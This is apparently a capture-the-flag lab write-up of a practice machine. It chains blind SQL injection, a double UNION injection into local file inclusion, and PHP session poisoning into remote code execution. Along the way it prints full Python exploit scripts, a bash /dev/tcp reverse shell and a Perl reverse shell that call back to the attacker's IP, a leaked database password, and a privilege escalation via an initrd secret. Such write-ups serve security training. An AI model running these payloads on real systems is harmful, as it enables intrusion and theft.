$ nmap -p- --min-rate 3000 10.129.56.92
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-30 06:27 EST
Nmap scan report for 10.129.56.92
Host is up (0.0098s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
443/tcp open https
Did a detailed scan:
$ nmap -p 80,443 -sC -sV --min-rate 3000 10.129.56.92
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-30 06:29 EST
Nmap scan report for 10.129.56.92
Host is up (0.014s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http nginx 1.10.3
|_http-server-header: nginx/1.10.3
| ssl-cert: Subject: commonName=www.nestedflanders.htb/organizationName=Unattended ltd/stateOrProvinceName=IT/countryName=IT
| Not valid before: 2018-12-19T09:43:58
|_Not valid after: 2021-09-13T09:43:58
|_http-title: Site doesn't have a title (text/html)
There's a custom domain to be added to /etc/hosts.
Web Enum -> Blind SQLI
Visiting www.nestedflanders.htb returns the default Debian page:
I ran a gobuster directory scan with a few wordlists like common.txt. The machine is rather slow, so this took a while. Eventually, it will find some interesting stuff:
/dev returned nothing of interest. Visiting index.php returns this:
Reading the page source was rather unique, since it seems to index pages based on an id parameter.
The id for the About page was 465, and submitting 465' results in a return to the main page. Interesting, as this could signify SQL Injection. I tested it with 465' AND 1=1-- - and it returned me to the About page. Testing it with AND 1=2 results in being redirected to the main page. This confirms there is an SQL injection vulnerability.
First, I had to test which SQL database this was running, and this could be done by testing either version() or @@version.
import requestsimport stringimport sysfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)i =1whileTrue: done =Truefor j in string.printable: param ={'id':f"465' and substring(@@version,{i},1) = '{j}'-- -"} r = requests.get("https://www.nestedflanders.htb/index.php", params=param, verify=False)if"sorry"in r.text:continue sys.stdout.write(j) sys.stdout.flush() i +=1 done =Falsebreakif done:break# output was 10.1.45-mariadb-0+deb9u1
This confirms it is MySQL, and usage of substr instead of substring works. Next, find the current database:
Next, find the table names within this thing via group_concat.
'AND (substr((SELECT group_concat(TABLE_NAME) FROM information_schema.tables WHERE table_schema='neddy'),{i},1)) = '{j}' -- -
config,customers,employees,filepath,idname,offices,orderdetails,orders,payments,productlines,products
The above took forever to generate, and there were way too many tables for me to enumerate via blind injection.
Nginx LFI -> Source Code Access
Apart from the SQL database, there was only the /dev endpoint. I looked to Hacktricks for nginx exploits, since the detailed nmap scan told me this server was running on nginx.
Doing the Accutenix tests returns positive results:
This means that I could potentially read some files here. This is probably hosted in /var/www/html, and I wanted to read more about index.php, the page with the Blind SQLI.
$servername ="localhost";$username ="nestedflanders";$password ="1036913cf7d38d4ea4f79b050f171e9fbf3f5e";$db ="neddy";$conn =newmysqli($servername, $username, $password, $db);$debug =False;include"6fb17817efb4131ae4ae1acae0f7fd48.php";functiongetTplFromID($conn) {global $debug; $valid_ids =array (25,465,587);### no parameterisation of user input queries### this allows for SQL Injection if ( (array_key_exists('id', $_GET)) && (intval($_GET['id']) == $_GET['id']) && (in_array(intval($_GET['id']),$valid_ids)) ) {
$sql ="SELECTnameFROM idname where id = '".$_GET['id']."'"; } else { $sql ="SELECTnameFROM idname where id = '25'"; }if ($debug) { echo"sqltpl: $sql<br>\n"; } $result = $conn->query($sql);if ($result->num_rows >0) {while($row = $result->fetch_assoc()) { $ret = $row['name']; }### Blind injection is set up here, whereby if there are issues with the query,### it returns 25. } else { $ret ='main'; }if ($debug) { echo"rettpl: $ret<br>\n"; }return $ret;}functiongetPathFromTpl($conn,$tpl) {global $debug; $sql ="SELECTpathfrom filepath wherename= '".$tpl."'";if ($debug) { echo"sqlpath: $sql<br>\n"; } $result = $conn->query($sql);if ($result->num_rows >0) {while($row = $result->fetch_assoc()) { $ret = $row['path']; } }if ($debug) { echo"retpath: $ret<br>\n"; }return $ret;}$tpl =getTplFromID($conn);$inc =getPathFromTpl($conn,$tpl);## SEPARATE CODE BLOCK<?php$sql = "SELECT i.id,i.name from idname as i inner join filepath on i.name = filepath.name where disabled = '0' order by i.id";
if ($debug) { echo"sql: $sql<br>\n"; }$result = $conn->query($sql);if ($result->num_rows >0) {while($row = $result->fetch_assoc()) {//if ($debug) { echo "rowid: ".$row['id']."<br>\n"; } // breaks layout echo '<div class="col-md-2"><a href="index.php?id='.$row['id'].'" target="maifreim">'.$row['name'].'</a></div>';
}} else {?><div class="col-md-2"><a href="index.php?id=25">main</a></div><div class="col-md-2"><a href="index.php?id=465">about</a></div><div class="col-md-2"><a href="index.php?id=587">contact</a></div><?php}?>## SEPARATE CODE BLOCK<?phpinclude("$inc");?><!--</div>-></div><!-- row -></div><!-- container -><?php if ($debug) { echo"include $inc;<br>\n"; } ?>
There was a dependency on some PHP file named with a hash, but it was useless.
Anyways, the code asked for a $inc parameter, which is taken from the getPathFromTpl($conn,$tpl) function, which is taken from the initial getTplFromID function.
Source Code Analysis
Analysing this code was rather interesting, since I had to find a way to control the value of $tpl from $conn, and there were a few checks on the input passed in:
if ( (array_key_exists('id', $_GET)) && (intval($_GET['id']) == $_GET['id']) && (in_array(intval($_GET['id']),$valid_ids)) ) {
$sql ="SELECTnameFROM idname where id = '".$_GET['id']."'";}
Checks these conditions:
id needs to be present.
intval of id == id
intval(id) equates to 25, 465 and 587.
I read the documentation for intval, and found that it was a terrible method of verifying whether an input was an integer:
I ran a test on my own device, and found that intval was easily bypassed, which allowed for the initial Blins SQL Injection exploit:
<?phpechointval('425 is awesome'); # output: 425
Next, let's look at the query used:
$sql ="SELECTnameFROM idname where id = '".$_GET['id']."'";
So id=465 means that the name paramter is about. I used the earlier blind SQLI to enumerate idname:
465'AND (substr((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='idname'),{i},1)) = '{j}' -- -
id,name,disabled
Interesting. So about and main are possible names to be returned as $tpl. Let's take a look at the second function that uses this:
I enumerated filepath too, since I could control $tpl in theory. I enumerated this filepath table. Interestingly, it just contained <HASH>.php file names:
465'AND (substr((SELECT group_concat(path) FROM filepath),{i},1)) = '{j}' -- -
787c75233b93aa5e45c3f85d130bfbe7.php...
This make sense, and the filename is then returned as $inc to be used in include. This opens a path for PHP file execution via include, and this is probably the way I have to get a shell.
To control this, I want the query to be something like:
SELECTpathfrom filepath wherename= ez UNIONselect/etc/passwd;
To bypass the first query and make it process only the query after UNION, can include an error like 1=2.
SELECTpathfrom filepath wherename= ez AND1=2UNIONselect/etc/passwd;
Exploitation
Here's the attack path:
Bypass id checks (easy)
Control $tpl somehow
Somehow write a webshell or code into the machine
Access the webshell via SQL Injection to trigger LFI by controlling $inc.
Since we are injecting into 2 queries, need to have 2 sets of comments, as well as 2 sets of error queries via UNION:
-- first querySELECTnameFROM idname where id =465' AND 1=2 UNION SELECT 'lol\' UNION SELECT \'/etc/passwd\' -- -'-- --- AND 1=2 causes id=465 to not be returned, returns the other strings and comments -- pass in the second embedded query as a string via escaped quotes-- $tpl = lol UNION SELECT /etc/passwd -- --- second querySELECTpathfrom filepath wherename= lol UNIONSELECT/etc/passwd -- -;
This works in getting me an LFI:
$ curl -k -G --data-urlencode "id=465' AND 1=2 UNION SELECT 'lol\' UNION SELECT \'/etc/passwd\' -- -'-- -" https://www.nestedflanders.htb/index.php
<!-- <div align="center"> ->
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
guly:x:1000:1000:guly,,,:/home/guly:/bin/bash
mysql:x:107:112:MySQL Server,,,:/nonexistent:/bin/false
<!-- </div> ->
Now, I need to somehow use this LFI for RCE. There were a few methods on Hacktricks, all of which involved reading the logs in the machine.
import requestsfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)whileTrue: file =input("Enter file to read: ") param ={'id':f"465' AND 1=2 UNION SELECT 'lol\\' UNION SELECT \\'{file}\\' -- -'-- -"} r = requests.get("https://www.nestedflanders.htb/index.php", params=param, verify=False)print(r.text)
From here, I could read /var/log/nginx/access.log, and technically RCE is possible using this method but I struggled. I read the other methods from Hacktricks, and found that using PHP sessions worked.
I tried writing some extra cookies by adding Cookie: PHPSESSID=n2jb3u50gv104k78v768i9h3h0; test=test as a header, then reading /var/lib/php/sessions/sess_<COOKIE>, and it worked:
Now I can set one of the cookies to be a urlencoded PHP command shell:
<?php system('id');?>
This worked!
Now, time to chain the exploit together.
import requestsimport argparseimport reimport sysimport socketimport urllib.parsefrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)defget_my_ip(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("10.10.10.1", 80))return s.getsockname()[0]## PARSE ARGSparser = argparse.ArgumentParser()parser.add_argument('-n', '--nc-port', help='nc port', default=443)parser.add_argument('--local-ip', '-i', help='local ip', default=None)args = parser.parse_args()ip = args.local_ip orget_my_ip()# Assuming you have a function get_my_ip() definednc_port = args.nc_porttest_payload = urllib.parse.quote('<?php system("id");?>')webshell = urllib.parse.quote('<?php system($_REQUEST["cmd"]); ?>')proxies ={"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}BASE_URL ='https://www.nestedflanders.htb/index.php'## RETRIEVE COOKIE VIA FIRST GET REQUESTheaders ={'User-Agent':'innocent'}r = requests.get(BASE_URL, verify=False, proxies=proxies)php_cookie = r.cookies["PHPSESSID"]print("[+] Retrieved cookie: {}".format(php_cookie))## TEST RCEprint("[+] Testing RCE...")cookies ={'PHPSESSID':php_cookie,'shell':test_payload}print("[+] Writing webshell to run 'id'...")r1 = requests.get(BASE_URL, cookies=cookies, verify=False, proxies=proxies)print('[+] Reading file via LFI via SQL')params ={'id':f"465' AND 1=2 UNION SELECT 'lol\\' UNION SELECT \\'/var/lib/php/sessions/sess_{php_cookie}\\' -- -'-- -"}print(f"[+] Query used: {params}")r2 = requests.get(BASE_URL, cookies=cookies, verify=False, proxies=proxies, params=params)ifnot re.search(r"www-data", r2.text):print("[-] RCE Failed") sys.exit(1)print("[+] RCE worked!")## GET SHELLprint("[+] Getting shell now")cookies ={'PHPSESSID': php_cookie,'rev':webshell}rev_shell ="bash -c 'bash -i >& /dev/tcp/{}/{} 0>&1'".format(ip, nc_port)print('[+] Payload used: {}'.format(rev_shell))params ={'id':f"465' AND 1=2 UNION SELECT 'lol\\' UNION SELECT \\'/var/lib/php/sessions/sess_{php_cookie}\\' -- -'-- -",'cmd': rev_shell}print("[+] Triggering shell...")requests.get(BASE_URL, cookies=cookies, verify=False, proxies=proxies, params=params)## For some reason, two requests are needed!requests.get(BASE_URL, cookies=cookies, verify=False, proxies=proxies, params=params)
Output:
$ python3 full_rce.py
[+] Retrieved cookie: g5af2fh98qbavba35kvcbk16f2
[+] Testing RCE...
[+] Writing webshell to run 'id'...
[+] Reading file via LFI via SQL
[+] Query used: {'id': "465' AND 1=2 UNION SELECT 'lol\\' UNION SELECT \\'/var/lib/php/sessions/sess_g5af2fh98qbavba35kvcbk16f2\\' -- -'-- -"}
[+] RCE worked!
[+] Getting shell now
[+] Payload used: bash -c 'bash -i >& /dev/tcp/10.10.14.27/443 0>&1'
[+] Triggering shell..
Privilege Escalation
There's a user guly on the machine, but I cannot access the flag there yet.
MySQL Enum -> Overwrite Script Values
I found some MySQL creds earlier, may as well use them:
www-data@unattended:/var/www/html$ mysql -u nestedflanders -p1036913cf7d38d4ea4f79b050f171e9fbf3f5e
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 7203
Server version: 10.1.45-MariaDB-0+deb9u1 Debian 9.12
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| neddy |
+--------------------+
2 rows in set (0.00 sec)
MariaDB [(none)]> use neddy;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [neddy]> show tables;
+-----------------+
| Tables_in_neddy |
+-----------------+
| config |
| customers |
| employees |
| filepath |
| idname |
| offices |
| orderdetails |
| orders |
| payments |
| productlines |
| products |
+-----------------+
11 rows in set (0.00 sec)
There was a config table that I wanted to see more of:
I didn't know what this was doing, but it appeared to be running somewhat consistently. I updated the value with Perl reverse shell script:
use Socket;$i="10.10.14.27";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};
MariaDB [neddy]> update config set option_value='/usr/bin/perl /var/lib/php/sessions/rev.pl' where id =86;
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
After a while, I got a reverse shell:
Grub Group -> Root
This user was part of the grub group, something that I had not seen before. I searched for all files users of this group had permissions over:
Interesting... I made a copy and analysed these folders in /tmp.
guly@unattended:/tmp$ file initrd.img-4.9.0-8-amd64
initrd.img-4.9.0-8-amd64: gzip compressed data, last modified: Fri Dec 1 10:54:35 2023, from Unix
guly@unattended:/tmp$ mv initrd.img-4.9.0-8-amd64 initrd.img-4.9.0-8-amd64.gz
guly@unattended:/tmp$ gunzip initrd.img-4.9.0-8-amd64.gz
guly@unattended:/tmp$ file initrd.img-4.9.0-8-amd64
initrd.img-4.9.0-8-amd64: ASCII cpio archive (SVR4 with no CRC)
This was a CPIO file, and using cpio to extract it works:
guly@unattended:/tmp/output$ cpio -idv < ../initrd.img-4.9.0-8-amd64
guly@unattended:/tmp/output$ ls -la
total 8
drwxr-xr-x 11 guly guly 240 Jan 30 11:07 .
drwxrwxrwt 13 root root 280 Jan 30 11:07 ..
drwxr-xr-x 2 guly guly 3600 Jan 30 11:07 bin
drwxr-xr-x 2 guly guly 60 Jan 30 11:07 boot
drwxr-xr-x 3 guly guly 120 Jan 30 11:07 conf
drwxr-xr-x 5 guly guly 240 Jan 30 11:07 etc
-rwxr-xr-x 1 guly guly 5960 Jan 30 11:07 init
drwxr-xr-x 9 guly guly 200 Jan 30 11:07 lib
drwxr-xr-x 2 guly guly 60 Jan 30 11:07 lib64
drwxr-xr-x 2 guly guly 40 Jan 30 11:07 run
drwxr-xr-x 2 guly guly 1160 Jan 30 11:07 sbin
drwxr-xr-x 8 guly guly 220 Jan 30 11:07 scripts
So there are a lot of file directories here. I checked for all files that contained guly and root.
guly@unattended:/tmp/output$ grep -R "guly" .
./scripts/local-top/cryptroot: # guly: we have to deal with lukfs password sync when root changes her one
guly@unattended:/tmp/output/scripts/local-top$ file cryptroot
cryptroot: POSIX shell script, ASCII text executable
There was one interesting part here:
if [ !-e"$NEWROOT" ]; then# guly: we have to deal with lukfs password sync when root changes her oneif! crypttarget="$crypttarget" cryptsource="$cryptsource"\/sbin/uinitrdc0m3s3f0ss34nt4n1| $cryptopen ; thenmessage"cryptsetup: cryptsetup failed, bad password or options?"sleep3continuefifi
I wasn't entirely sure what unitrd was, but the second parameter looked like a kind of password. I just ran it with the parameter:
Rooted? I don't know why that worked. I read the writeup from 0xdf to find out why, and it was way more complex than I thought. This machine was for more OSWE prep, so I don't really want to dive into the specifics here.